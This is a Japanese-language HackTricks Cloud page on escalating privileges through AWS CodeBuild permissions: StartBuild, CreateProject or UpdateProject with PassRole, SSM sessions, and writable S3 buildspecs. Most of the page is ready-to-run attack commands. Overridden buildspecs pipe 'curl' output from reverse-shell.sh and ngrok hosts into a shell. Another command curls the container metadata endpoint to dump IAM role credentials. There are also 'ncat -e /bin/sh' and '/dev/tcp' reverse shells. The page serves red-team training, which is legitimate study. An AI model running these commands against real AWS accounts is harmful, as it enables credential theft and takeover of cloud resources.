AWS - Codebuild Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
codebuild
詳細情報:
codebuild:StartBuild | codebuild:StartBuildBatch
これらのいずれかの権限があれば、新しい buildspec でビルドを起動して、プロジェクトに割り当てられた iam role のトークンを盗むことができます:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Note: この2つのコマンドの違いは次のとおりです:
StartBuildは特定のbuildspec.ymlを使用して単一のビルドジョブを開始します。StartBuildBatchは、より複雑な構成(複数のビルドを並列で実行するなど)でビルドのバッチを開始できます。
Potential Impact: アタッチされた AWS Codebuild ロールへの直接的な privesc。
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
攻撃者が iam:PassRole、codebuild:CreateProject、および codebuild:StartBuild または codebuild:StartBuildBatch の権限を持っている場合、プロジェクトを作成して実行中にすることで、任意の codebuild IAM role に対して escalate privileges することができます。
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Potential Impact: 任意の AWS Codebuild ロールへの直接的な privesc。
Warning
Codebuild container 内のファイル
/codebuild/output/tmp/env.shは metadata credentials にアクセスするために必要な全ての env vars を含んでいます。このファイルには env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIが含まれており、資格情報にアクセスするための URL path を含んでいます。例として/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420のような形式になります。それを URL
http://169.254.170.2/に追加すると、ロールの資格情報をダンプできます。さらに、env variable
ECS_CONTAINER_METADATA_URIも含まれており、コンテナに関する metadata info を取得するための完全な URL が入っています。
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
前のセクションと同様に、build project を作成する代わりにそれを変更できる場合、IAM Role を指定して token を奪取できます。
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Potential Impact: 任意の AWS Codebuild role への直接的な privesc。
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
前節と同様ですが、iam:PassRole 権限がなくても、これらの権限を悪用して既存の Codebuild プロジェクトを変更し、既に割り当てられている role にアクセスできます。
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
潜在的な影響: 添付された AWS Codebuild ロールへの直接的な privesc.
SSM
ssm セッションを開始するための十分な権限があれば、ビルド中のCodebuild プロジェクトの内部に入ることが可能です。
codebuild project には breakpoint を設ける必要があります:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
そして:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
詳細は check the docs。
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
特定の CodeBuild プロジェクトのビルドを開始/再開でき、そのプロジェクトが buildspec.yml を attacker が write access を持つ S3 バケットに保存している場合、attacker は CodeBuild プロセス内で command execution を取得できます。
注: このエスカレーションは、CodeBuild worker が attacker のものとは異なる role(できればより privileged なもの)である場合にのみ relevant です。
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
このような buildspec を使って reverse shell を取得できます:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
影響: 通常高い権限を持つ AWS CodeBuild ワーカーが使用するロールへの直接的な privesc。
Warning
buildspec は zip フォーマットで想定されることがあるため、攻撃者はルートディレクトリから
buildspec.ymlをダウンロード、解凍、改変、再圧縮してアップロードする必要があることに注意してください
More details could be found here.
潜在的影響: 添付された AWS Codebuild ロールへの直接的な privesc。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

